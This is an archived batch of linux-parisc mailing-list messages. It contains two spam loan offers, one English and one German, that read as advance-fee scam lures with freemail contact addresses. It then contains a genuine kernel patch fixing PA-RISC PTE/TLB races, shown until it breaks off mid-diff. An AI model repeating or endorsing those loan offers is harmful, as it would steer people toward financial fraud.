Path: news.gmane.org!not-for-mail
From: Mohammed El-Shaban <moha_elsharoyality@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: PROJECT FUNDING/DEBT FINANCING
Date: Sat, 27 Jun 2015 10:22:02 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <20150627092918.DB150C52E2@hdx6145.nexio.info>
Reply-To: moha_elsharoyality@hotmail.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1435397802 14147 80.91.229.3 (27 Jun 2015 09:36:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 27 Jun 2015 09:36:42 +0000 (UTC)
To: Recipients <moha_elsharoyality@hotmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 27 11:36:34 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Z8mXJ-0000Nr-MU
	for glpp-linux-parisc@plane.gmane.org; Sat, 27 Jun 2015 11:36:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752751AbbF0Jgc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 27 Jun 2015 05:36:32 -0400
Original-Received: from hdx6145.nexio.info ([95.128.74.145]:48428 "EHLO
	hdx6145.nexio.info" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752262AbbF0Jg2 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 27 Jun 2015 05:36:28 -0400
Original-Received: from localhost (unknown [127.0.0.1])
	by hdx6145.nexio.info (Postfix) with ESMTP id DB150C52E2;
	Sat, 27 Jun 2015 09:29:18 +0000 (UTC)
X-Virus-Scanned: amavisd-new at server-celeo.net
X-Spam-Flag: NO
X-Spam-Score: 5.633
X-Spam-Level: *****
X-Spam-Status: No, score=5.633 tagged_above=-1 required=8
	tests=[ALL_TRUSTED=-1, BAYES_50=2, FORGED_HOTMAIL_RCVD2=0.874,
	FREEMAIL_FROM=0.001, LOTS_OF_MONEY=0.001, MISSING_MID=0.497,
	SUBJ_ALL_CAPS=1.506, US_DOLLARS_3=1.754]
	autolearn=no autolearn_force=no
Original-Received: from hdx6145.nexio.info ([127.0.0.1])
	by localhost (hdx6145.nexio.info [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id fVB1wozS6V-i; Sat, 27 Jun 2015 11:29:13 +0200 (CEST)
Original-Received: from [10.181.85.30] (unknown [185.84.181.85])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	(Authenticated sender: contact@aluminor.fr)
	by hdx6145.nexio.info (Postfix) with ESMTPSA id 8DE5FC5380;
	Sat, 27 Jun 2015 11:14:58 +0200 (CEST)
Content-Description: Mail message body
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25800
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25800>

Greetings,

We are an Investment company that invites you to partner with us and benefit in 

our new Loan and Project funding program. We offer flexible loans and funding for 

various projects by passing the usual rigorous procedures.This Funding program 

allows a client to enjoy low interest payback for as low as 3 - 4% per annum for a 

period of 7-8 years. We can approve a loan/funding for up to USD 500,000,000.00 or 

more depending on the nature of business. We are currently funding for:

* Starting up a Franchise
* Business Acquisition
* Business Expansion
* Commercial Real Estate purchase
* Contract Execution

We are open to having a good business relationship with you. If you think you have 

a solid background and idea of making good profit in any venture, please do not 

hesitate to contact us for possible business co-operation.

Sincerely,
El-Shaban
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sasnett_Karen <sasnett_karen@asdk12.org>
Newsgroups: gmane.linux.ports.parisc
Subject: (unknown)
Date: Wed, 1 Jul 2015 11:53:31 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <B3EEA09B9C66584198B6765D1492AEF27A4787B7__19765.4832889841$1435753451$gmane$org@ITEXCH01.asdk12.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1435753451 29519 80.91.229.3 (1 Jul 2015 12:24:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Jul 2015 12:24:11 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 01 14:24:10 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZAH3h-0006nj-JD
	for glpp-linux-parisc@plane.gmane.org; Wed, 01 Jul 2015 14:24:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753990AbbGAMYI convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Jul 2015 08:24:08 -0400
Original-Received: from mail-bl2on0117.outbound.protection.outlook.com ([65.55.169.117]:44097
	"EHLO na01-bl2-obe.outbound.protection.outlook.com"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1750935AbbGAMX7 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Jul 2015 08:23:59 -0400
X-Greylist: delayed 907 seconds by postgrey-1.27 at vger.kernel.org; Wed, 01 Jul 2015 08:23:56 EDT
Original-Received: from SN1PR02MB1694.namprd02.prod.outlook.com (10.162.129.24) by
 SN1PR02MB1310.namprd02.prod.outlook.com (10.162.0.140) with Microsoft SMTP
 Server (TLS) id 15.1.190.14; Wed, 1 Jul 2015 11:53:40 +0000
Original-Received: from BLUPR0201CA0038.namprd02.prod.outlook.com (10.163.116.48) by
 SN1PR02MB1694.namprd02.prod.outlook.com (10.162.129.24) with Microsoft SMTP
 Server (TLS) id 15.1.195.15; Wed, 1 Jul 2015 11:53:39 +0000
Original-Received: from BY2FFO11FD054.protection.gbl (2a01:111:f400:7c0c::109) by
 BLUPR0201CA0038.outlook.office365.com (2a01:111:e400:52e7::48) with Microsoft
 SMTP Server (TLS) id 15.1.201.16 via Frontend Transport; Wed, 1 Jul 2015
 11:53:39 +0000
Authentication-Results: spf=pass (sender IP is 74.114.80.19)
 smtp.mailfrom=asdk12.org; vger.kernel.org; dkim=none (message not signed)
 header.d=none;
Received-SPF: Pass (protection.outlook.com: domain of asdk12.org designates
 74.114.80.19 as permitted sender) receiver=protection.outlook.com;
 client-ip=74.114.80.19; helo=mail2.asdk12.org;
Original-Received: from mail2.asdk12.org (74.114.80.19) by
 BY2FFO11FD054.mail.protection.outlook.com (10.1.15.191) with Microsoft SMTP
 Server id 15.1.190.9 via Frontend Transport; Wed, 1 Jul 2015 11:53:33 +0000
X-AuditID: 0a141681-f79a76d000007f00-c7-5593d4bc1442
Original-Received: from ITEXCHHUB02.asdk12.org (odmst05.asdk12.org [10.20.22.49])
	by mail2.asdk12.org (mail.asdk12.org) with SMTP id CA.5E.32512.CB4D3955; Wed,  1 Jul 2015 04:53:32 -0700 (PDT)
Original-Received: from ITEXCH01.asdk12.org ([fe80::8d12:4bc5:4406:b45b]) by
 ITEXCHHUB02.asdk12.org ([::1]) with mapi id 14.03.0224.002; Wed, 1 Jul 2015
 03:53:31 -0800
Original-Subject: 
Thread-Index: AdCz9IzKoWMQoDGZQrS33+LrT+WFuQ==
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [10.20.22.117]
X-Brightmail-Tracker: H4sIAAAAAAAAA02Sa0yTVxjHd97z3uji9g4onDAMC1myxI0OiMmeZG5xyz6cLFmyGE2Wmcx1
	8x0QO2ba7v5hoEw7A6ODFrGUQkcFUaBKxlpoaYXIZktEbkOxtt2wTHCJclEUo2WF+oFvv5z/
	5Xny5Ig41c5niSWlellbqtbk8gpWkZ5RkOedrN2T/5MzA+4YlzD03TNwYPA5EPiPBzhYvhDj
	oGqqFkHQOcrAbdMYBk88xMFIfBnD8R9rWKjsCWKI1TTxUO7bA53hCgwT7q1w/eYQC22+agTG
	YAGY6g4hGF+xIbD4wyz03GvB0PzwXwYGLvYjsE79jOGO+x8OopFVBuZXEz77EQcLFrNDgLh5
	EcODv8+w8IvJzMAJ23Ue/mof48HbH2ChemSYhSlXmIH+aBcCw+O7CBYMtzn4wz3DwPTSCgcV
	IZcAj/rcDJRNdDAw0Wfl4bT/aGJQZ5SDwGxFYtFYJ4YOZ70ARnONAJGONQ48h1oFGKrfC6Pn
	hzk4arAi8HZPMdDgqGZhJpg4hy8yJ8Al25/8zouI+q9UCjTqaRdobewcQ51HziPaVdnO0dbx
	JYYuzEV5OjAzyNNbwUuYnmw8I9DmlmVMey1hga6dMgp0YfEjejWSQ1u6/fz7b3+o2LFf1pR8
	JWtfffNjRfGj+QnhoAt/M2dpEcrQA+YYShGJtJ0c9njZJGeQ0YiTP4YUYqrUi0jAdx+vC+lS
	NmlsuMElhV8RWXStbAi8pCLN4dBGU5okEt+AjUkGVCQyvppoEkVWepFc6X5j/XmL9C7psTfy
	64wSw+4HOzbsWMok12JNTxaSiMN7GSdZSeZvxLkkv0Ae3vQ88avIVbOJT/LLpNX+ 
X-EOPAttributedMessage: 0
X-Microsoft-Exchange-Diagnostics: 1;BY2FFO11FD054;1:JnYdeyChQTzmxjL7j12VONufmwbw7WwJ0k66ALDNZ4rE6Aj6CIKm44SyIGAeB2aWeCReynEpDD1sn6HDj4j8mUwx2rZ0H48bTPhcCQsUSNxcIJVGdaBdgFLLYdiTJDtP/UNoCXruDZokOWgurEeACT4arzIZltOPPTR+JObu7OgJDEQDdIZtGi2LNvP29tWO4BvwHCVXXARlkLhrC4XUHKatgXNWGdAlI6X4DwlgDGXp2mM9yKPpfk896ZCYsbMUzG5+Yf6ZPYPpAFT/fXYeT8XHTo4dCyj0haECWGvu5UUHtZaRz4cDw+bEra5MPOxD27sEsm8dz5mL/eNBw6eVHg==
X-Forefront-Antispam-Report: CIP:74.114.80.19;CTRY:US;IPV:NLI;EFV:NLI;SFV:NSPM;SFS:(10019020)(979002)(6039001)(6009001)(2980300002)(438002)(189002)(199003)(46102003)(25636003)(77156002)(2900100001)(102836002)(33656002)(2930100002)(5001970100001)(110136002)(107886002)(62966003)(189998001)(2920100001)(881003)(47776003)(109986003)(50986999)(86362001)(86372001)(16796002)(5250100002)(92566002)(15843345004)(54356999)(5406001)(5003600100002)(53416004)(106466001)(55846006)(19580395003)(19580405001)(50466002)(2656002)(87936001)(23756003)(325944007)(79076002)(7059030)(54266012)(5416002)(4001450100001)(15877035004)(969003)(989001)(999001)(1009001)(1019001);DIR:OUT;SFP:1102;SCL:1;SRVR:SN1PR02MB1694;H:mail2.asdk12.org;FPR:;SPF:Pass;MLV:ovr;MX:1;A:1;PTR:mail4.asdk12.org;LANG:de;
X-Microsoft-Exchange-Diagnostics: 1;SN1PR02MB1694;2:78H4VA9noYRLG+P1o2kRogYHTCzqgni9Fpq6zdFNdJrxvYvIuewOm40uiZpf9Dcm;3:/w5j7C8Ap4Jwi+gtm+nBPCDa51G5kEkLpw+f1R4jIe+jrU8qsnYVoKduTnDRUQJD3qJMR+van122AJ/rbPABlyYTyDzw6leGJw1zWkaREqzIwOBStL1AHOjKHdbt2tFp6ibLTmlvMK+Ugm28tCe/s2O9xEIgMWaSEvPx/nBRzBsd1BUffdcZrmYUQJ0l749ghZ62mHgjl/FaflyUsVaf7It9Q4tSxgNBNQSxgntC18U=;20:MXFzi0jPV0tGh0yRcs43HNfYeTQV0wxXX6r9DEZcdEEnGgTwa4usVpCtauCTyUYsrlyicKdZvk5mgz26XRsDmovZtG8JRoE0DIY2rLUBe3fAtFTCe11zJdzyqGJyu2HUzJi0xJdGWEbKLBUb8qeJc1TM8sAZrpyQgXF86HOsnxN8eETtGzn1lBGB62ewHoG5xORjKHcwrDi3QK4E3l6dTy3UQ78e3JqvN3KjP6I1epc2YJ6HxGs/3g3ftEB0Ihx8;4:4k8SiYX3sM6/z+mi1mUuFYtoV9rH/BKVYigbuJHsn7X+xnjGwpuJYYgv6h3ecqGLDFpVRBZf/nMluDZUxjtSjMsa0V5pJwEPqYJhGYXNNOiWFJtPt+lh57fmyez08BKEGpqV/z6quE62E4mh2uVzE2nfWgKyypgKjIFRGBxRLSQjRxBG2LP2A6
 S4/J3J3yJADR8lC1QRQeRb4foCjKdXERnLsyJ7Jw7BfQPvnl3BB/OqTUrdXsSEJMSOZ/4ER2uZXIGXKUSYVokr6VwMqL/mxxut 
X-Microsoft-Antispam: UriScan:;BCL:0;PCL:0;RULEID:;SRVR:SN1PR02MB1694;UriScan:;BCL:0;PCL:0;RULEID:;SRVR:SN1PR02MB1310;
X-Microsoft-Antispam-PRVS: <SN1PR02MB1694CA21E952049946C66980F6A80@SN1PR02MB1694.namprd02.prod.outlook.com>
X-Exchange-Antispam-Report-Test: UriScan:;
X-Exchange-Antispam-Report-CFA-Test: BCL:0;PCL:0;RULEID:(601004)(5005006)(3002001);SRVR:SN1PR02MB1694;BCL:0;PCL:0;RULEID:;SRVR:SN1PR02MB1694;
X-Forefront-PRVS: 0624A2429E
X-Microsoft-Exchange-Diagnostics: =?iso-8859-1?Q?1;SN1PR02MB1694;23:EHZQyLElwblPNTujRSwBPuq3ftJa6OKapV07jmX?=
 =?iso-8859-1?Q?dCK8ErGIHa5g+OpnL9Ms0UQMdLdRStU8tvxk+Ys8/Pv87qGqR/oJ0G4N6p?=
 =?iso-8859-1?Q?I6IYrd8ND2Gi4EtlvrXvH56pbB23x7/DimIW9iRJvbA9y4jnVps1nASbrr?=
 =?iso-8859-1?Q?ncNhjNCHy6qSdVHCHaQ9kjK1c0O35YYuGdwmkl6q2TOabUe5Pdik/ELxz0?=
 =?iso-8859-1?Q?ZxFG2ofD4d1E5s6WtdHG0kksT4JvHybA9s/pVgdO7Zly3lYzNIwPEpyCrm?=
 =?iso-8859-1?Q?Ti/7+ntN1tETsjrZ1Y6KYaScowUEZ4k4y3fGP1HXFCENxgncfcfiGFEXlY?=
 =?iso-8859-1?Q?G7E6FCs/gNkiddLma7mLaZNVpVRne32FEGGzdovRI4f79HDW3DRi2ph37T?=
 =?iso-8859-1?Q?5GjnglMcjwcf6SkHwqKJ7Z/x7TeY0J9pE3YP0FcxJHEC0wHFoZPuhGoT5K?=
 =?iso-8859-1?Q?PCmQsW6XcMzKjWPS5bjvBR2X9JAB86wWPP2ub3d7b7DPxHZdcR/U38fiiD?=
 =?iso-8859-1?Q?WEIYohC89ERBu5vNesOjGgnLPvZaFCpr5SMo9a8RFG7XtRUTCANHj6pvS8?=
 =?iso-8859-1?Q?C9nBDUirJNYaa2zfs9GVzsNMxIDF49uJJSVpqvVLkJsfcf+d/jzbOGzsuv?=
 =?iso-8859-1?Q?uM5N 
X-Microsoft-Exchange-Diagnostics: 1;SN1PR02MB1694;5:lbzLoKcrX/vN2HUnijnNHmvVVKiLeoBBEOlnAU8TVapwPfQpa3iq8hDRQfYpZ8pxmeI8iVyMTwtSJuVpONYJDjRCLMjwh4Tlmps+I3vc8YcLQwmd4vYTAcWTQungfWuFSdBgegGh5ruseHh488Y6ew==;24:FU89AvC8qePIkID2aXf40jkgxaELu1tNQuxEGOMp2bNnWy3Ie0OLZKkf9/UJ5YVJJg1P47/qygNG8HWbzYvrwqOIgIxAeo5X9xnEUIfii4E=;20:xU2LYE/0BWz1mvpCOwLBGAYtSszSisNYXwJtRJKcXBtm8pfEqIej4V1Iunp2cgYcT3jOQvktPvw6G4cWFFdteA==
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 01 Jul 2015 11:53:33.1078
 (UTC)
X-MS-Exchange-CrossTenant-Id: 036ce601-e95a-4e46-a3bd-6b742ed4bb35
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=036ce601-e95a-4e46-a3bd-6b742ed4bb35;Ip=[74.114.80.19];Helo=[mail2.asdk12.org]
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SN1PR02MB1694
X-Microsoft-Exchange-Diagnostics: 1;SN1PR02MB1310;2:YS8NIU11rs3BHR98T/te+AEOoIY13Emm/nYuQ3TYSRvJvcSAx0fXGlPSaAwsY5Cz;2:cPxrjvAS6yNAeaWnwx31os4a9isv6QDrb80KG5G4YYgmwAUOKiFfuoJ5K4RLVQSualX8NvTzrs4CB58Fe5K9p5qgHU1viPxVqR7jIVkuM5OLF9s4qH5D8laPgvvycVOTsGdT36p6NbkkdGZNbg0RgbQcAp7gOdqqzpMYVSt3DtFzO3JHKWoq5JnbE2VZJpVu0L6BLsasrnakQdo9HrmmoaAxKUaPAVTU0fYNaHkIO4Y=;9:UGlPJV7KdiXjAQ5Jpu+Py6k9PFfb29hL34LhWpS+/Rwekfc6fsKTJZNvhUGcOqMpzxwCH/6iWPS01dhgSfvR8ghSIKuqNPa5lJvLDF1CY4RZODU80ubH8qp4WRY3rMmrGj0tESt9cepW9yPaREahEA==
X-OriginatorOrg: asdk12.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25801
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25801>




Haben Sie einen Investor brauchen?

Haben Sie gesch=E4ftliche oder pers=F6nliche Darlehen ben=F6tigen?

Wir geben Darlehen an eine nat=FCrliche Person und Unternehmen bei 3% Z=
insen j=E4hrlich. Weitere Informationen Kontaktieren Sie uns per E-Mail=
: omfcreditspa@hotmail.com<mailto:omfcreditspa@hotmail.com>



HINWEIS: Leiten Sie Ihre Antwort nur an diese E-Mail: omfcreditspa@hotm=
ail.com<mailto:omfcreditspa@hotmail.com>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH][RFC] parisc: Fix some PTE/TLB race conditions and optimize __flush_tlb_range based on timing results
Date: Wed, 1 Jul 2015 17:18:37 -0400
Lines: 1163
Approved: news@gmane.org
Message-ID: <BLU436-SMTP102D0AAFD30CFC540272CF897A80@phx.gbl>
References: <20150529201317.GA4795@ls3530.box> <5568CD6E.20204@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary="Apple-Mail-81-64300394"
X-Trace: ger.gmane.org 1435785531 10637 80.91.229.3 (1 Jul 2015 21:18:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Jul 2015 21:18:51 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 01 23:18:44 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZAPP1-0000Mh-WB
	for glpp-linux-parisc@plane.gmane.org; Wed, 01 Jul 2015 23:18:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753020AbbGAVSm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Jul 2015 17:18:42 -0400
Original-Received: from blu004-omc4s22.hotmail.com ([65.55.111.161]:51546 "EHLO
	BLU004-OMC4S22.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752479AbbGAVSk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Jul 2015 17:18:40 -0400
Original-Received: from BLU436-SMTP102 ([65.55.111.136]) by BLU004-OMC4S22.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.23008);
	 Wed, 1 Jul 2015 14:18:39 -0700
X-TMN: [FMH0WQkcbHOEvSBCm38TNHIU1/iU91nz]
X-Originating-Email: [dave.anglin@bell.net]
In-Reply-To: <5568CD6E.20204@gmx.de>
X-Mailer: Apple Mail (2.1085)
X-OriginalArrivalTime: 01 Jul 2015 21:18:38.0594 (UTC) FILETIME=[7F56AE20:01D0B443]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25802
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25802>

--Apple-Mail-81-64300394
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="us-ascii"

This patch is an evolution of the change posted by Helge based on buildd =
testing.

The increased use of pdtlb/pitlb instructions seemed to increase the =
frequency of random segmentation
faults building packages.  Further, we had a number of cases where TLB =
inserts would repeatedly fail and
all forward progress would stop.  The Haskell ghc package caused a lot =
of trouble in this area.  The final
indication of a race in pte handling was this syslog entry on sibaris:

[63165.884000] swap_free: Unused swap offset entry 00000004
[63165.948000] BUG: Bad page map in process mysqld  pte:00000100 =
pmd:019bbec5
[63166.028000] addr:00000000ec464000 vm_flags:00100073 =
anon_vma:0000000221023828 mapping:          (null) index:ec464
[63166.156000] CPU: 1 PID: 9176 Comm: mysqld Not tainted =
4.0.0-2-parisc64-smp #1 Debian 4.0.5-1
[63166.256000] Backtrace:
[63166.284000]  [<0000000040173eb0>] show_stack+0x20/0x38
[63166.344000]  [<0000000040444424>] dump_stack+0x9c/0x110
[63166.408000]  [<00000000402a0d38>] print_bad_pte+0x1a8/0x278
[63166.476000]  [<00000000402a28b8>] unmap_single_vma+0x3d8/0x770
[63166.544000]  [<00000000402a4090>] zap_page_range+0xf0/0x198
[63166.612000]  [<00000000402ba2a4>] SyS_madvise+0x404/0x8c0

Note that the pte value is 0 except for the accessed bit 0x100.  This =
bit shouldn't be set without the
present bit.

It should be noted that the madvise system call is probably a trigger =
for many of the random segmentation
faults.

In looking at the kernel code, I found the following problems:

1) The pte_clear define didn't take TLB lock when clearing a pte.
2) We didn't test pte present bit inside lock in exception support.
3) The pte and tlb locks needed to merged in order to ensure consistency =
between page table and TLB.
This also has the effect of serializing TLB broadcasts on SMP systems.

The attached change implements the above and a few other tweaks to try =
to improve performance.  Based
on the timing code, TLB purges are very slow (e.g., ~ 209 cycles per =
page on rp3440).  Thus, I think it
beneficial to test the split_tlb variable to avoid duplicate purges.  =
Probably, all PA 2.0 machines have
combined TLBs.

I dropped using __flush_tlb_range in flush_tlb_mm as I realized all =
applications and most threads have
a stack size that is too large to make this useful.  I added some =
comments to this effect.

Since implementing 1 through 3, I haven't had any random segmentation =
faults on mx3210 (rp3440) in
about one week of building code and running as  a Debian buildd.

Signed-off-by: John David Anglin <dave.anglin@bell.net>

On 2015-05-29, at 4:34 PM, Helge Deller wrote:

> On 29.05.2015 22:13, Helge Deller wrote:
>> This patch optimizes the TLB flushing functions flush_tlb_mm() and
>> __flush_tlb_range() in a way that it adds timing routines to =
calculate
>> the optimal size up to which flushes of small TLB ranges perform =
faster
>> than when performing a full TLB shootdown.
>>=20
>> Here are some timing results for a rp5470 and J5000 machine:
>>=20
>> Machine: rp5470, PA8700, 875 MHz
>> I-cache         : 768 KB
>> D-cache         : 1536 KB (WB, direct mapped)
>> ITLB entries    : 240
>> DTLB entries    : 240 - shared with ITLB
>>=20
>> Whole cache flush 692084 cycles, flushing 13214592 bytes 5904392 =
cycles
>> Setting cache flush threshold to 1512 kB.
>> Whole TLB flush 40990 cycles, flushing 4096000 bytes 448989 cycles
>> Setting TLB flush threshold to 368 kB.
>>=20
>> Machine: J5000/785, PA8500, 440MHz
>> I-cache         : 512 KB
>> D-cache         : 1024 KB (WB, direct mapped)
>> ITLB entries    : 160
>> DTLB entries    : 160 - shared with ITLB
>>=20
>> Whole cache flush 268605 cycles, flushing 13214592 bytes 1861037 =
cycles
>> Setting cache flush threshold to 1024 kB
>> Whole TLB flush 14131 cycles, flushing 13221888 bytes 769329 cycles
>> Setting TLB flush threshold to 240 kB
>=20
>=20
> One more machine:
> Machine: C8000, PA8800, 2 CPUs each 900 MHz
> I-cache         : 32768 KB
> D-cache         : 32768 KB (WB, direct mapped)
> ITLB entries    : 240
> DTLB entries    : 240 - shared with ITLB
>=20
> Whole cache flush 4298354 cycles, flushing 13214592 bytes 1440513 =
cycles
> Setting cache flush threshold to 32768 kB
> Whole TLB flush 15625 cycles, flushing 13221888 bytes 781230 cycles
> Setting TLB flush threshold to 260 kB
>=20
>=20
>> Signed-off-by: Helge Deller <deller@gmx.de>
>>=20
>> diff --git a/arch/parisc/include/asm/tlbflush.h =
b/arch/parisc/include/asm/tlbflush.h
>> index 9d086a5..5e81e17 100644
>> --- a/arch/parisc/include/asm/tlbflush.h
>> +++ b/arch/parisc/include/asm/tlbflush.h
>> @@ -24,40 +24,25 @@ extern void flush_tlb_all_local(void *);
>>=20
>>  #define smp_flush_tlb_all()	flush_tlb_all()
>>=20
>> -/*
>> - * flush_tlb_mm()
>> - *
>> - * XXX This code is NOT valid for HP-UX compatibility processes,
>> - * (although it will probably work 99% of the time). HP-UX
>> - * processes are free to play with the space id's and save them
>> - * over long periods of time, etc. so we have to preserve the
>> - * space and just flush the entire tlb. We need to check the
>> - * personality in order to do that, but the personality is not
>> - * currently being set correctly.
>> - *
>> - * Of course, Linux processes could do the same thing, but
>> - * we don't support that (and the compilers, dynamic linker,
>> - * etc. do not do that).
>> - */
>> +int __flush_tlb_range(unsigned long sid,
>> +	unsigned long start, unsigned long end);
>> +
>> +#define flush_tlb_range(vma, start, end) \
>> +	__flush_tlb_range((vma)->vm_mm->context, start, end)
>> +
>> +#define flush_tlb_kernel_range(start, end) \
>> +	__flush_tlb_range(0, start, end)
>>=20
>>  static inline void flush_tlb_mm(struct mm_struct *mm)
>>  {
>> -	BUG_ON(mm =3D=3D &init_mm); /* Should never happen */
>> -
>> -#if 1 || defined(CONFIG_SMP)
>> -	flush_tlb_all();
>> -#else
>> -	/* FIXME: currently broken, causing space id and protection ids
>> -	 *  to go out of sync, resulting in faults on userspace =
accesses.
>> -	 */
>> -	if (mm) {
>> -		if (mm->context !=3D 0)
>> -			free_sid(mm->context);
>> -		mm->context =3D alloc_sid();
>> -		if (mm =3D=3D current->active_mm)
>> -			load_context(mm->context);
>> +	struct vm_area_struct *vma;
>> +
>> +	for (vma =3D mm->mmap; vma; vma =3D vma->vm_next) {
>> +		/* exit loop if flush_tlb_all() was called. */
>> +		if (unlikely(__flush_tlb_range(mm->context,
>> +				vma->vm_start, vma->vm_end)))
>> +			return;
>>  	}
>> -#endif
>>  }
>>=20
>>  static inline void flush_tlb_page(struct vm_area_struct *vma,
>> @@ -76,11 +61,4 @@ static inline void flush_tlb_page(struct =
vm_area_struct *vma,
>>  	purge_tlb_end(flags);
>>  }
>>=20
>> -void __flush_tlb_range(unsigned long sid,
>> -	unsigned long start, unsigned long end);
>> -
>> -#define flush_tlb_range(vma,start,end) =
__flush_tlb_range((vma)->vm_mm->context,start,end)
>> -
>> -#define flush_tlb_kernel_range(start, end) =
__flush_tlb_range(0,start,end)
>> -
>>  #endif
>> diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
>> index f6448c7..4eac923 100644
>> --- a/arch/parisc/kernel/cache.c
>> +++ b/arch/parisc/kernel/cache.c
>> @@ -342,12 +342,15 @@ EXPORT_SYMBOL(flush_data_cache_local);
>>  EXPORT_SYMBOL(flush_kernel_icache_range_asm);
>>=20
>>  #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
>> -int parisc_cache_flush_threshold __read_mostly =3D FLUSH_THRESHOLD;
>> +static unsigned long parisc_cache_flush_threshold __read_mostly =3D =
FLUSH_THRESHOLD;
>> +
>> +#define FLUSH_TLB_THRESHOLD (2*1024*1024) /* 2MB initial TLB =
threshold */
>> +static unsigned long parisc_tlb_flush_threshold __read_mostly =3D =
FLUSH_TLB_THRESHOLD;
>>=20
>>  void __init parisc_setup_cache_timing(void)
>>  {
>>  	unsigned long rangetime, alltime;
>> -	unsigned long size;
>> +	unsigned long size, start;
>>=20
>>  	alltime =3D mfctl(16);
>>  	flush_data_cache();
>> @@ -364,14 +367,42 @@ void __init parisc_setup_cache_timing(void)
>>  	/* Racy, but if we see an intermediate value, it's ok too... */
